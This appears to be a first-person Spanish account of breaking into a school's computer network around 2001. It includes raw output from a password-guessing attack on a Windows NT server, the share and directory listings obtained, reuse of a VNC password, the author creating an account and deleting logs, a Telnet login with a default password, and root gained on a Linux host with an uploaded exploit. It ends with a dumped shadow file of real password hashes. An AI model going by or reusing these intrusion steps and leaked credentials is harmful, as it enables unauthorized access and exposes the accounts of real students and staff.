sdsnd32i dll 38.400 20/09/00 16.08 sdsnd32i.dll
sdsok32i dll 44.032 20/09/00 16.08 sdsok32i.dll
sdstp32i dll 58.368 20/09/00 16.08 sdstp32i.dll
Smstr32i dll 22.528 20/09/00 16.08 Smstr32i.dll
symamg32 dll 70.656 15/12/00 18.03 symamg32.dll
SymClnUp exe 28.672 22/12/00 7.51 SymClnUp.exe
symlha dll 47.616 15/12/00 18.03 symlha.dll
VD0E2803 VDB 3.365.903 20/08/01 1.00 VD0E2803.VDB
VD0E2C02 VDB 3.370.121 22/08/01 1.00 VD0E2C02.VDB
VD0E2C20 VDB 3.371.326 22/08/01 1.00 VD0E2C20.VDB
VD0E3A20 VDB 3.377.222 29/08/01 1.00 VD0E3A20.VDB
VD0E3C11 VDB 3.377.430 30/08/01 1.00 VD0E3C11.VDB
vpc32 exe 229.376 22/12/00 7.51 vpc32.exe
vpdebug log 2.516 31/08/01 17.23 vpdebug.log
vpdn_lu exe 32.768 22/12/00 7.51 vpdn_lu.exe
vpdown exe 94.446 18/09/00 17.16 vpdown.exe
vpremote dat 17 18/09/00 17.16 vpremote.dat
vpremote exe 40.448 18/09/00 17.16 vpremote.exe
vpsrvcli inf 7.336 18/09/00 17.16 vpsrvcli.inf
vpstart exe 220.672 18/09/00 17.16 vpstart.exe
vpstop exe 19.456 18/09/00 17.16 vpstop.exe
vptray exe 53.248 22/12/00 7.51 vptray.exe
xfer <DIR> 08/03/01 12.13 xfer
_ISNAVNT ULG 160 05/03/01 15.39 _ISNAVNT.ULG
96 archivos 27.793.788 bytes
10 directorios 334.364.672 bytes libres
Recursos compartidos en \\ELEC_232_02
Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
D Disco
El comando se complet¢ correctamente.
luego mi dirigí al servidor pericles que era un viejo NT 4.o con sp6 donde gracias al puerto 139 empece con el nat
* Checking 10.4.1.251 ...
* Trying username "ADMINISTRATOR", password "": failed
* Trying username "ADMINISTRATOR", password "ADMINISTRATOR": failed
* Trying username "ADMINISTRATOR", password "GUEST": failed
* Trying username "ADMINISTRATOR", password "ROOT": failed
* Trying username "ADMINISTRATOR", password "ADMIN": failed
* Trying username "ADMINISTRATOR", password "PASSWORD": failed
* Trying username "ADMINISTRATOR", password "TEMP": failed
* Trying username "ADMINISTRATOR", password "SHARE": failed
* Trying username "ADMINISTRATOR", password "WRITE": failed
* Trying username "ADMINISTRATOR", password "FULL": failed
* Trying username "ADMINISTRATOR", password "BOTH": failed
* Trying username "ADMINISTRATOR", password "READ": failed
* Trying username "ADMINISTRATOR", password "FILES": failed
* Trying username "ADMINISTRATOR", password "DEMO": failed
* Trying username "ADMINISTRATOR", password "TEST": failed
* Trying username "ADMINISTRATOR", password "ACCESS": failed
* Trying username "ADMINISTRATOR", password "USER": failed
* Trying username "ADMINISTRATOR", password "BACKUP": failed
* Trying username "ADMINISTRATOR", password "SYSTEM": failed
* Trying username "ADMINISTRATOR", password "SERVER": failed
* Trying username "ADMINISTRATOR", password "LOCAL": failed
* Trying username "GUEST", password "": failed
* Trying username "GUEST", password "ADMINISTRATOR": failed
* Trying username "GUEST", password "GUEST": failed
* Trying username "GUEST", password "ROOT": failed
* Trying username "GUEST", password "ADMIN": failed
* Trying username "GUEST", password "PASSWORD": failed
* Trying username "GUEST", password "TEMP": failed
* Trying username "GUEST", password "SHARE": failed
* Trying username "GUEST", password "WRITE": failed
* Trying username "GUEST", password "FULL": failed
* Trying username "GUEST", password "BOTH": failed
* Trying username "GUEST", password "READ": failed
* Trying username "GUEST", password "FILES": failed
* Trying username "GUEST", password "DEMO": failed
* Trying username "GUEST", password "TEST": failed
* Trying username "GUEST", password "ACCESS": failed
* Trying username "GUEST", password "USER": failed
* Trying username "GUEST", password "BACKUP": failed
* Trying username "GUEST", password "SYSTEM": failed
* Trying username "GUEST", password "SERVER": failed
* Trying username "GUEST", password "LOCAL": succeeded
* Obtained share list:
NETLOGON Logon server share
VPHOME Virus Protect
imagenesante
tallerdb$
ADMIN$ Remote Admin
REPL$
IPC$ Remote IPC
EAdmin SoftPrue
C$ Default share
curso
D$ Default share
VPLOGON Virus Protect
web6iB Inetpub para 6iB TIC
web6IA Inetpub para 6iA TIC
web6IC Inetpub para 6iC TIC
Aventura
E$ Default share
wwwroot Sólo para Labo
ETO Web de la ETO I
PFinal
MUESTRATM
F$ Default share
DAdmin
CD-ROM CD-ROM en Pericles
CAdmin
WebBiblio
WebInstituto Acceso al WebInstituto
CursoASP
Profes
Mails Mails de la intranet
SoftPrue ReadOnly para todos
RinemBerg Ex alumno TIC 2000
FAdmin
VPALERT$ Virus Protect
taller
TGames
AlumASP01
* Checking share NETLOGON: access denied
* Finished checking 10.4.1.251
de todo esto obtuve de ese server los archivos de login donde se loguean todos los usuarios para verlos vayan a la carpeta:
aisle\chapter2.aisle\ort_intr.aisle\netlogon
y tambien el de los profes a:
aisle\chapter2.aisle\ort_intr.aisle\profesores
tambien aqui liste los directorios. del disco C (por el fallo del decode )los del disco D tenia acceso denegado POR Ahora!!
Directory of c:\
09/08/00 09:11 267 64f75808.cnm
16/03/98 13:38 48 AUTOEXEC.1
16/03/98 13:38 48 AUTOEXEC.BAT
30/09/93 03:20 54.619 COMMAND.COM
16/03/98 13:30 70 CONFIG.BAK
16/03/98 13:37 89 CONFIG.SYS
13/04/00 11:53 3 contfile.txt
17/03/98 12:01 <DIR> Crw
20/12/00 14:55 <DIR> Drivers NIC Pericles
12/06/98 12:59 <DIR> ESL835
30/09/93 03:20 29.136 HIMEM.SYS
01/03/99 12:12 <DIR> inetpub
26/09/00 18:07 <DIR> Logs de Eventos
31/05/94 03:22 25.521 MSCDEX.EXE
17/03/98 12:06 <DIR> MSSQL
01/03/99 10:19 <DIR> Multimedia Files
12/07/99 16:23 <DIR> NTResKit
10/07/01 07:36 145.752.064 pagefile.sys
27/02/01 19:36 <DIR> Program Files
01/03/99 11:31 428 proxy.ini
01/03/99 15:35 <DIR> QMService
16/03/98 13:25 <DIR> SCSI
30/09/93 03:20 45.145 SMARTDRV.EXE
01/04/98 22:45 5.242.880 SMSData.DAT
01/04/98 22:45 1.048.576 SMSLog.DAT
01/03/99 10:48 0 SQL.LOG
27/06/01 13:01 <DIR> TEMP
30/05/01 19:01 17 testfile.txt
05/06/01 13:49 24 tp03.txt
07/07/99 17:16 4.508 WebRestart
10/07/01 20:34 <DIR> WINNT
31 File(s) 152.203.443 bytes
1.241.153.536 bytes free
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Tue, 10 Jul 2001 23:44:23 GMT
Content-Type: application/octet-stream
Volume in drive E is Alumnos
Volume Serial Number is 08AC-B031
Directory of e:\
18/04/01 17:10 <DIR> imagenesanteultimas
24/04/01 13:09 <DIR> Mails
20/10/99 09:11 <DIR> Mssql
04/06/01 16:44 <DIR> PFinal
10/07/01 15:44 <DIR> TGames
23/05/01 14:57 <DIR> TM
6 File(s) 0 bytes
1.169.502.208 bytes free
range1=10.0.0.0 10.255.255.255 Class A Private Range
range2=172.16.0.0 172.31.255.255 Class B Private Range
range3=192.168.0.0 192.168.255.255 Class C Private Range
range4=127.0.0.0 127.255.255.255 Local Loopback Address
range5=172.32.1.0 172.32.1.255 Network Card: <RTL80291>
range6=172.32.255.255 172.32.255.255 Network Card: <RTL80291>
range7=224.0.0.0 255.255.255.254 Local Loopback Addresmartop
yhqwnb2
infor
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Thu, 12 Jul 2001 01:17:08 GMT
Content-Type: application/octet-stream
Volume in drive C is PERICLES
Volume Serial Number is 7CE5-16F1
Directory of c:\
13/04/00 11:53 3 contfile.txt
30/05/01 19:01 17 testfile.txt
05/06/01 13:49 24 tp03.txt
3 File(s) 44 bytes
Directory of c:\Crw
20/06/95 00:00 5.750 LABELS.TXT
05/12/96 09:56 4.373 readme.txt
2 File(s) 10.123 bytes
Directory of c:\Drivers NIC Pericles\Disk1
13/01/99 16:19 7.471 LICENSE.TXT
13/06/00 17:39 29.052 README.TXT
2 File(s) 36.523 bytes
Directory of c:\Drivers NIC Pericles\Disk2
13/01/99 16:19 7.471 LICENSE.TXT
13/06/00 17:39 29.052 README.TXT
20/06/00 18:14 3.669 ROADMAP.TXT
3 File(s) 40.192 bytes
Directory of c:\Drivers NIC Pericles\Disk2\HELP
02/11/99 14:28 2.217 ADVCONFG.TXT
01/06/99 14:22 1.620 CLIENT32.TXT
01/06/99 14:27 12.522 DOSDIAG.TXT
01/06/99 14:29 730 ISVLIST.TXT
04/06/99 13:54 4.643 NETWARE.TXT
01/06/99 14:41 5.218 NWDOSODI.TXT
01/06/99 14:42 3.161 PACKET.TXT
01/06/99 14:44 4.083 SUPPORT.TXT
01/06/99 14:45 2.584 TROUBLE.TXT
03/01/00 10:21 10.638 UNT_NT4.TXT
03/01/00 10:24 11.831 UNT_W98.TXT
03/01/00 10:18 17.660 W95NDIS.TXT
01/06/99 16:06 9.179 W95NETWR.TXT
01/06/99 16:17 6.577 WAKEFAQ.TXT
01/06/99 16:18 4.060 WFWNDIS.TXT
01/06/99 16:21 5.427 WFWNETWR.TXT
04/01/00 09:53 7.800 WIN2000.TXT
25/05/00 17:22 17.631 WIN98.TXT
01/06/99 16:23 1.663 WINDOWS.TXT
02/06/99 06:44 15.749 WINNT.TXT
20 File(s) 144.993 bytes
Directory of c:\Drivers NIC Pericles\Disk2\PKTDVR
29/01/99 14:23 3.215 PACKET.TXT
1 File(s) 3.215 bytes
Directory of c:\ESL835
12/06/98 12:59 1.654 MSNT40.TXT
1 File(s) 1.654 bytes
Directory of c:\Logs de Eventos
26/09/00 18:06 380.735 application.txt
26/09/00 18:05 509.539 security.txt
26/09/00 18:05 733.464 system.txt
3 File(s) 1.623.738 bytes
Directory of c:\MSSQL\INSTALL
18/11/96 01:38 18.518 5LAKES.TXT
18/11/96 01:38 1.476 ALGODATA.TXT
18/11/96 01:38 675 BINNET.TXT
18/11/96 01:38 114 GGGG.TXT
18/11/96 01:38 544 LUCERNE.TXT
18/11/96 01:38 65.073 NEWMOON.TXT
18/11/96 01:38 131 RAMONA.TXT
18/11/96 01:38 4.794 README.TXT
18/11/96 01:38 135 SCOOTNEY.TXT
9 File(s) 91.460 bytes
Directory of c:\MSSQL\SQLOLE\SAMPLES
18/11/96 01:38 2.112 README.TXT
1 File(s) 2.112 bytes
Directory of c:\NTResKit
19/04/99 21:01 2.888 AUTOEXNT.TXT
19/04/99 21:01 1.978 AUTOLOG.TXT
19/04/99 21:01 6.127 BREAKFTM.TXT
19/04/99 21:02 8.053 C2DLL.TXT
19/04/99 21:02 666 CLIP.TXT
19/04/99 21:38 1.585 DHCPCMD.TXT
19/04/99 21:03 1.813 DHCPLOC.TXT
19/04/99 21:38 3.766 DISKSAVE.TXT
19/04/99 21:38 2.040 DUMPEL.TXT
19/04/99 21:38 1.993 EXETYPE.TXT
19/04/99 21:05 2.320 FLOPLOCK.TXT
19/04/99 21:07 744 LOGTIME.TXT
19/04/99 21:38 4.437 NLMON.TXT
19/04/99 21:15 18.108 OS2API-1.TXT
19/04/99 21:15 25.952 OS2API.TXT
19/04/99 21:15 1.402 PULIST.TXT
19/04/99 21:38 2.749 RSHSVC.TXT
19/04/99 21:22 18.272 SC-DEV.TXT
19/04/99 21:38 2.015 SCANREG.TXT
19/04/99 21:23 14.504 SU.TXT
19/04/99 21:24 5.189 TMSRVFAQ.TXT
19/04/99 21:24 7.040 TMSRVHW.TXT
19/04/99 21:25 4.927 UPTOMP.TXT
19/04/99 21:25 1.249 USRTOGRP.TXT
19/04/99 21:25 4.293 VDESK.TXT
19/04/99 21:26 3.591 WINSCHK.TXT
19/04/99 21:26 9.501 WINSCL.TXT
27 File(s) 157.202 bytes
Directory of c:\Program Files\Common Files\Symantec shared\VirusDefs\20010607.020
06/06/01 22:00 6.479 ncsacert.txt
06/06/01 22:00 5.232 technote.txt
06/06/01 22:00 52.177 whatsnew.txt
3 File(s) 63.888 bytes
Directory of c:\Program Files\Common Files\Symantec shared\VirusDefs\20010613.022
12/06/01 22:00 6.479 ncsacert.txt
12/06/01 22:00 5.232 technote.txt
12/06/01 22:00 46.389 whatsnew.txt
3 File(s) 58.100 bytes
Directory of c:\Program Files\Common Files\Symantec shared\VirusDefs\BinHub
03/10/00 05:31 6.839 ncsacert.txt
03/10/00 05:31 5.232 technote.txt
03/10/00 05:31 18.941 whatsnew.txt
3 File(s) 31.012 bytes
Directory of c:\Program Files\Common Files\System\ADO
29/09/98 00:00 1.283 ADOMDreadme.txt
23/01/99 00:00 20.273 ADOreadme.txt
06/11/98 00:00 6.019 adoxreadme.txt
19/10/98 00:00 1.707 JroReadme.txt
23/06/99 00:00 21.037 MDACReadMe.txt
03/10/97 06:35 6.304 readme.txt
6 File(s) 56.623 bytes
Directory of c:\Program Files\Common Files\System\ADO\Docs
03/10/97 06:35 6.304 readme.txt
1 File(s) 6.304 bytes
Directory of c:\Program Files\Common Files\System\msadc
02/10/97 10:28 19.388 readme.txt
1 File(s) 19.388 bytes
Directory of c:\Program Files\Common Files\System\msadc\Doc11
02/10/97 10:28 14.201 readme.txt
1 File(s) 14.201 bytes
Directory of c:\Program Files\Common Files\System\msadc\Docs
02/10/97 10:28 19.388 readme.txt
1 File(s) 19.388 bytes
Directory of c:\Program Files\Common Files\System\OLE DB
16/06/98 00:00 7.258 JoltReadme.txt
25/09/98 00:00 2.160 MSDASC.TXT
25/09/98 00:00 1.023 MSDASQLreadme.txt
13/11/98 00:00 3.040 MSOrclOLEDBreadme.txt
16/06/98 00:00 3.768 SQLOLEDB.TXT
5 File(s) 17.249 bytes
Directory of c:\Program Files\Microsoft BackOffice
14/09/97 14:27 82 boscript.txt
14/09/97 14:27 46 CMDLINES.TXT
2 File(s) 128 bytes
Directory of c:\Program Files\Microsoft FrontPage
04/12/96 20:32 8.278 eula.txt
1 File(s) 8.278 bytes
Directory of c:\Program Files\NAV\clt-inst\DOS
18/09/00 17:12 18.443 RESCUE.TXT
1 File(s) 18.443 bytes
Directory of c:\Program Files\NAV\clt-inst\WIN32\VIRDEFS
22/12/00 07:51 6.479 NCSACERT.TXT
22/12/00 07:51 5.232 TECHNOTE.TXT
22/12/00 07:51 34.917 WHATSNEW.TXT
3 File(s) 46.628 bytes
Directory of c:\Program Files\NAV\I2_LDVP.VDB\VD0D9A16.VDB
12/06/01 22:00 6.479 ncsacert.txt
12/06/01 22:00 5.232 technote.txt
12/06/01 22:00 30.913 update.txt
12/06/01 22:00 46.389 whatsnew.txt
4 File(s) 89.013 bytes
Directory of c:\Program Files\NAV\langs\ENU\CLIENT16
18/09/00 17:12 7.777 ENULIC.TXT
1 File(s) 7.777 bytes
Directory of c:\Program Files\NAV\logon
18/09/00 17:22 5.805 enulic.txt
1 File(s) 5.805 bytes
Directory of c:\Program Files\Outlook Express
09/02/98 13:20 14.182 msimn.txt
1 File(s) 14.182 bytes
Directory of c:\Program Files\Plus!\Microsoft Internet
08/05/98 00:00 15.334 IE4.TXT
22/03/97 14:44 13.490 internet.txt
08/05/98 00:00 11.500 LICENSE.TXT
22/03/97 14:44 4.766 RALICENS.TXT
22/03/97 14:44 7.212 RAREADME.TXT
08/05/98 00:00 22.650 support.txt
6 File(s) 74.952 bytes
Directory of c:\Program Files\Plus!\Microsoft Internet\Connection Wizard
01/08/97 12:46 4.978 readme.txt
1 File(s) 4.978 bytes
Directory of c:\Program Files\Symantec\LiveUpdate
28/10/99 12:06 15.015 README.TXT
1 File(s) 15.015 bytes
Directory of c:\WINNT
04/04/00 16:01 6.281 Active Setup Log.txt
01/03/99 10:19 22.756 Bind List Log.txt
01/03/99 10:17 120.671 IE4 Setup Log.Txt
31/01/97 07:57 4.658 JavaDbg.txt
01/03/99 10:24 22.888 RunOnceEx Log.txt
16/03/98 19:29 138 setuplog.txt
01/03/99 10:19 956 Soft Boot Log.txt
7 File(s) 178.348 bytes
Directory of c:\WINNT\Help\iis\htm\tutorial
07/08/97 17:03 473 adrot.txt
20/10/97 09:24 594 adrot2.txt
2 File(s) 1.067 bytes
Directory of c:\WINNT\Help\iis\htm\tutorial\template
07/08/97 17:03 473 adrot.txt
1 File(s) 473 bytes
Directory of c:\WINNT\system32
13/04/00 12:08 17 contfile.txt
05/06/00 15:09 17 foto.txt
25/09/98 00:00 1.654 msoracle32readme.txt
17/11/96 22:38 4.010 probrep.txt
21/05/01 13:57 31 rapodabbah.txt
22/01/99 00:00 13.228 sqlsrdme.txt
31/05/01 08:37 0 test1.txt
24/05/01 11:14 40 testfile.txt
05/06/01 13:44 6 usuarios.txt
21/09/98 00:00 11.538 VFPODBC.TXT
10 File(s) 30.541 bytes
Directory of c:\WINNT\system32\inetsrv
13/10/97 08:36 4.000 ccodes.txt
1 File(s) 4.000 bytes
Directory of c:\WINNT\system32\ras
17/11/96 22:38 52.537 rasread.txt
1 File(s) 52.537 bytes
Directory of c:\WINNT\system32\Repl\Export\Scripts
13/09/99 16:39 860 MensEsc.txt
1 File(s) 860 bytes
Directory of c:\WINNT\system32\Repl\Import\Scripts
13/09/99 16:39 860 MensEsc.txt
1 File(s) 860 bytes
Directory of c:\WINNT\system32\setup
02/06/97 06:02 33 readme.txt
10/11/97 15:19 3.408 unattend.txt
2 File(s) 3.441 bytes
Total Files Listed:
144 File(s) 2.954.735 bytes
1.242.369.536 bytes free
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Thu, 12 Jul 2001 01:22:44 GMT
Content-Type: application/octet-stream
Volume in drive E is Alumnos
Volume Serial Number is 08AC-B031
Directory of e:\mails\mails
11/07/01 08:34 <DIR> .
11/07/01 08:34 <DIR> ..
07/05/01 12:39 288 0507123915.txt
07/05/01 14:02 193 0507140216.txt
09/05/01 15:25 221 0509152506.txt
10/05/01 11:18 192 0510111828.txt
10/05/01 12:04 256 0510120433.txt
05/06/01 15:30 168 0605153058.txt
13/06/01 10:03 167 0613100341.txt
21/06/01 13:01 192 0621130148.txt
21/06/01 13:08 385 0621130857.txt
25/06/01 15:38 157 0625153805.txt
02/07/01 09:46 217 0702094653.txt
02/07/01 12:45 205 0702124550.txt
10/07/01 16:45 147 0710164544.txt
10/07/01 17:21 127 0710172144.txt
11/07/01 08:34 154 0711083440.txt
17 File(s) 3.069 bytes
1.169.285.120 bytes free
esos emails tenían boludeces
después de descubrí que este server pericles también tenia el winvnc instalado con la misma pass que la del proxy de internet. "proydesa" en este caso me conecte usando un "puente" con otra maquina (instale el winvnc en otra terminal que estaba en la otra punta del laboratorio, y me fui a otra y de esa me conecte y de ahi a pericles) osea :
esto lo hice ya que en ese momento el admin estaba dando vueltas por ahí
otra vez la maquina estaba bloqueada hasta que después el admin hizo el login y prendió el sql 6.5
una vez que logra entrar hice la rutina de siempre crearme una cuenta borrar logs etc. ahh y además ahora este server comparte recursos a full para todos los usuarios y pude ver los directorios y bajarme algunos archivos del disco d:
también el famoso sam._ y un montón de archivos word como este dato
otros server que rondaban por ahí
también examine otros servers como merlina 10.4.1.252 con netbios activado:
Recursos compartidos en \\MERLINA
Nombre compartidoEscribir Comentario
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Admision Disco
CAdmin Disco
CD-Rom Disco ENCARTA 96
CLIENTS Disco Clientes de Red
Curso Disco
DAdmin Disco
EAdmin Disco Admision, TM, Quintos
Encarta Disco
FAdmin Disco
Imag Disco
NETLOGON Disco Logon server share
PFinal Disco Proyecto Final 2001 (profes)
rcty Disco
Software Disco Software para Instalar
VPHOME Disco Virus Protect
VPLOGON Disco Virus Protect
El comando se complet¢ correctamente.
de repente note que había un prendido un linux sombrero rojo 6.2 (10.4.1.247) se llamaba Flanders
Este linux estaba instalado pelado sin ningún parche
me loguie al puerto 23 con user caa01 y pass caa01 y comencé a investigar:
cat .bash_history
File: .bash_history Col 0 13757 bytes 2%
ls
cd /etc/rc.d/init.d/
./httpd restart
cd ..
eject
id
who am i
exit
who
pstree -p |more
vi etc/httpd/conf/httpd.conf
cd /etc
cd httpd
cd conf
ls
vi httpd.conf
cd ..
cd rc.d
cd ..
cd rc.d
cd init.d
ls
cat etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
gdm:x:42:42::/home/gdm:/bin/bash
postgres:x:100:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash
xfs:x:101:234:X Font Server:/etc/X11/fs:/bin/false
curso1:x:1057:200:Curso 1,,,:/home/curso1:/bin/bash
curso2:x:1058:200:Curso 2,,,:/home/curso2:/bin/bash
curso3:x:1059:200:Curso 3,,,:/home/curso3:/bin/bash
curso4:x:1060:200:Curso 4,,,:/home/curso4:/bin/bash
curso5:x:1061:200:Curso 5,,,:/home/curso5:/bin/bash
curso6:x:1062:200:Curso 6,,,:/home/curso6:/bin/bash
curso7:x:1063:200:Curso 7,,,:/home/curso7:/bin/bash
curso8:x:1064:200:Curso 8,,,:/home/curso8:/bin/bash
curso9:x:1065:200:Curso 9,,,:/home/curso9:/bin/bash
curso10:x:1066:200:Curso 10,,,:/home/curso10:/bin/bash
curso11:x:1067:200:Curso 11,,,:/home/curso11:/bin/bash
curso12:x:1068:200:Curso 12,,,:/home/curso12:/bin/bash
curso13:x:1069:200:Curso 13,,,:/home/curso13:/bin/bash
curso14:x:1070:200:Curso 14,,,:/home/curso14:/bin/bash
curso15:x:1071:200:Curso 15,,,:/home/curso15:/bin/bash
curso16:x:1072:200:Curso 16,,,:/home/curso16:/bin/bash
curso17:x:1073:200:Curso 17,,,:/home/curso17:/bin/bash
curso18:x:1074:200:Curso 18,,,:/home/curso18:/bin/bash
curso19:x:1075:200:Curso 19,,,:/home/curso19:/bin/bash
curso20:x:1076:200:Curso 20,,,:/home/curso20:/bin/bash
curso21:x:1077:200:Curso 21,,,:/home/curso21:/bin/bash
curso22:x:1078:200:Curso 22,,,:/home/curso22:/bin/bash
curso23:x:1079:200:Curso 23,,,:/home/curso23:/bin/bash
curso24:x:1080:200:Curso 24,,,:/home/curso24:/bin/bash
caa01:x:1081:1081::/home/caa01:/bin/bash
caa02:x:1082:1082::/home/caa02:/bin/bash
caa03:x:1083:1083::/home/caa03:/bin/bash
caa04:x:1084:1084::/home/caa04:/bin/bash
caa05:x:1085:1085::/home/caa05:/bin/bash
caa06:x:1086:1086::/home/caa06:/bin/bash
caa07:x:1087:1087::/home/caa07:/bin/bash
caa08:x:1088:1088::/home/caa08:/bin/bash
caa09:x:1089:1089::/home/caa09:/bin/bash
caa32:x:0:0::/home/caa32:/bin/bash
steve:x:1090:1090::/home/steve:/bin/bash
cab01:x:1091:1091::/home/cab01:/bin/bash
cab012:x:1092:1092::/home/cab012:/bin/bash
cab02:x:1093:1093::/home/cab02:/bin/bash
cab03:x:1094:1094::/home/cab03:/bin/bash
cab04:x:1095:1095::/home/cab04:/bin/bash
cab05:x:1096:1096::/home/cab05:/bin/bash
cab06:x:1097:1097::/home/cab06:/bin/bash
cab07:x:1098:1098::/home/cab07:/bin/bash
cab08:x:1099:1099::/home/cab08:/bin/bash
cab09:x:1100:1100::/home/cab09:/bin/bash
stv:x:0:0::/home/stv:/bin/bash
fabian:x:1101:1101::/home/fabian:/bin/bash
fabiansu:x:0:0::/home/fabiansu:/bin/bash
caa:x:1102:1102::/home/caa:/bin/bash
secund:x:1103:1103::/home/secund:/bin/bash
secundb:x:1104:1104::/home/secundb:/bin/bash
fernando:x:1105:1105:Fernando:/home/fernando:/bin/bash
hugo:x:0:0::/home/hugo:/bin/bash
este linux lo usaban los alumnos para que mediante php muevan una base de datos en postgressql desde la web
lograr el famoso root fue una pavado subí con ftp el exploit de cronexpl y listo aquí están las pass encriptadaS
root:$1$LtWXXqGe$zU.mMR9JjCDlJWarO83Ck1:11479:0:99999:7:-1:-1:134538460
bin:*:11208:0:99999:7:::
daemon:*:11208:0:99999:7:::
adm:*:11208:0:99999:7:::
lp:*:11208:0:99999:7:::
sync:*:11208:0:99999:7:::
shutdown:*:11208:0:99999:7:::
halt:*:11208:0:99999:7:::
mail:*:11208:0:99999:7:::
news:*:11208:0:99999:7:::
uucp:*:11208:0:99999:7:::
operator:*:11208:0:99999:7:::
games:*:11208:0:99999:7:::
gopher:*:11208:0:99999:7:::
ftp:*:11208:0:99999:7:::
nobody:*:11208:0:99999:7:::
gdm:!!:11208:0:99999:7:::
postgres:!!:11208:0:99999:7:::
xfs:!!:11208:0:99999:7:::
curso1:$1$t5PGI3Fp$8PB.9TFwAdGMAHUK6lc5O0:11208:0:99999:7:-1:-1:134538452
curso4:$1$bvoNfjyf$47Mhz2FUFtIZcC5OoKMjd1:11215:0:99999:7:-1:-1:134538468
curso2:$1$hSDTxgwv$GVcbupjaiyFiQZpb3NbKa0:11274:0:99999:7:-1:-1:134538468
curso3:$1$FeDv9zv0$s3FOsz0Y.BpaF9mOaOoHs1:11215:0:99999:7:-1:-1:134538468
curso5:$1$T3zKj8k/$VfzpeE1deSzAlrGh4Ci2u1:11274:0:99999:7:-1:-1:134538468
curso6:$1$kubxth.5$VYBJHOBy7KLImJzeDuWWG1:11240:0:99999:7:-1:-1:134537732
curso7:$1$JFTooI2c$75TI1yxEX1E.RWm/z.CsG/:11214:0:99999:7:-1:-1:134538468
curso8:$1$mKT1D.fX$bkK4IYFlrGoakmMtfzkN0/:11214:0:99999:7:-1:-1:134538468
curso9:$1$cwGW6lcF$tUHS3lOi3s6dtJiJpqcKg/:11214:0:99999:7:-1:-1:134538468
curso10:$1$O3HlC7on$B0DFdP/9HwJul048xYs1o/:11214:0:99999:7:-1:-1:134538468
curso11:$1$wSd8ShyT$vAjx1sauuAtS.UQ6Kh7d40:11277:0:99999:7:-1:-1:134538468
curso12:$1$kslEtT0r$MJhxRLCieDIvK53.nl6Ll0:11277:0:99999:7:-1:-1:134538468
curso13:$1$l5W5bbkb$LCP2rteKNNg1DvzzKWvdG.:11214:0:99999:7:-1:-1:134538452
curso14:$1$FQLpENmC$OZoHP68lHtq0Bi3N6FOv11:11277:0:99999:7:-1:-1:134538468
curso15:$1$DcZmaNNc$/mYBd8UUUchcvG2dXwS1e1:11222:0:99999:7:-1:-1:134538468
curso16:$1$.Dl9kRrc$ruRYCFlA2.vEVNUP4p28c.:11214:0:99999:7:-1:-1:134538468
curso17:$1$FJSNdVA4$1y83bI5OHoRFhULRO5i6L1:11215:0:99999:7:-1:-1:134538468
curso18:$1$evUWFgUw$BdR9/5SSEPm4Ujc0Lso8g/:11214:0:99999:7:-1:-1:134538452
curso19:$1$rofThYcD$cO8QjgoGom6i9L4uxZEpr/:11214:0:99999:7:-1:-1:134538452
curso20:$1$mL9ph5gH$7u01v73OaUvk.wKQhnGgv/:11214:0:99999:7:-1:-1:134538452
curso21:$1$1WQVBZM2$QVwv5aqvR.UTg2fUL8hcP/:11214:0:99999:7:-1:-1:134538468
curso22:$1$vfXiPE0H$RLvigBjXPycMtAERv4tRO/:11214:0:99999:7:-1:-1:134537732
curso23:$1$repmFzKw$Q/Un9d/jLEZiCh4nwWzT7.:11240:0:99999:7:-1:-1:134537732
curso24:$1$RK8N6lud$wrw7v0vHHmnm435zL3uku0:11214:0:99999:7:-1:-1:134538468
caa01:$1$Q6dX.rM9$drdcOU.bHni3qaCM2xr430:11409:0:99999:7:-1:-1:134537364
caa02:$1$HYT3vmvO$HyxkVQml4poAXJpqZ0nSR/:11233:0:99999:7:-1:-1:134537700
caa03:$1$PilU4.if$3ufuOtu29oUMjMsMwNYXo0:11235:0:99999:7:-1:-1:134537700
caa04:$1$CT0f7SyZ$Nr761bCMDOaY.NnIVfjAA0:11255:0:99999:7:-1:-1:134537700
caa05:$1$HW/9Qu2g$l7hd/XY94O.Vp7mpt/Zou0:11213:0:99999:7:-1:-1:134537332
caa06:$1$sqPPV0FI$y0p.tlp4ncER1yigMorTX1:11213:0:99999:7:-1:-1:134537332
caa07:$1$JyrD7jsz$UM0B6Oq18SATE7r48RvoR/:11213:0:99999:7:-1:-1:134537332
caa08:$1$t5AaMrQ3$yAfW8ojqGOJ2dQjmM11ts/:11213:0:99999:7:-1:-1:134537332
caa09:$1$Uo58iNaU$jtM/kl0.egpGh9J06/1x/0:11213:0:99999:7:-1:-1:134537332
steve:$1$c8Lh2OIk$1y9mKnqjfVF.jh6kfvNwJ1:11409:0:99999:7:-1:-1:134538460
cab01:$1$wOdcYPq8$Z6wzJ3S/53lBtvF2r5zYf.:11213:0:99999:7:-1:-1:134537332
cab012:!!:11213:0:99999:7:::
cab02:$1$Qp33JIPu$W2pc2VDGHi/Gag0OsqQgP0:11213:0:99999:7:-1:-1:134537332
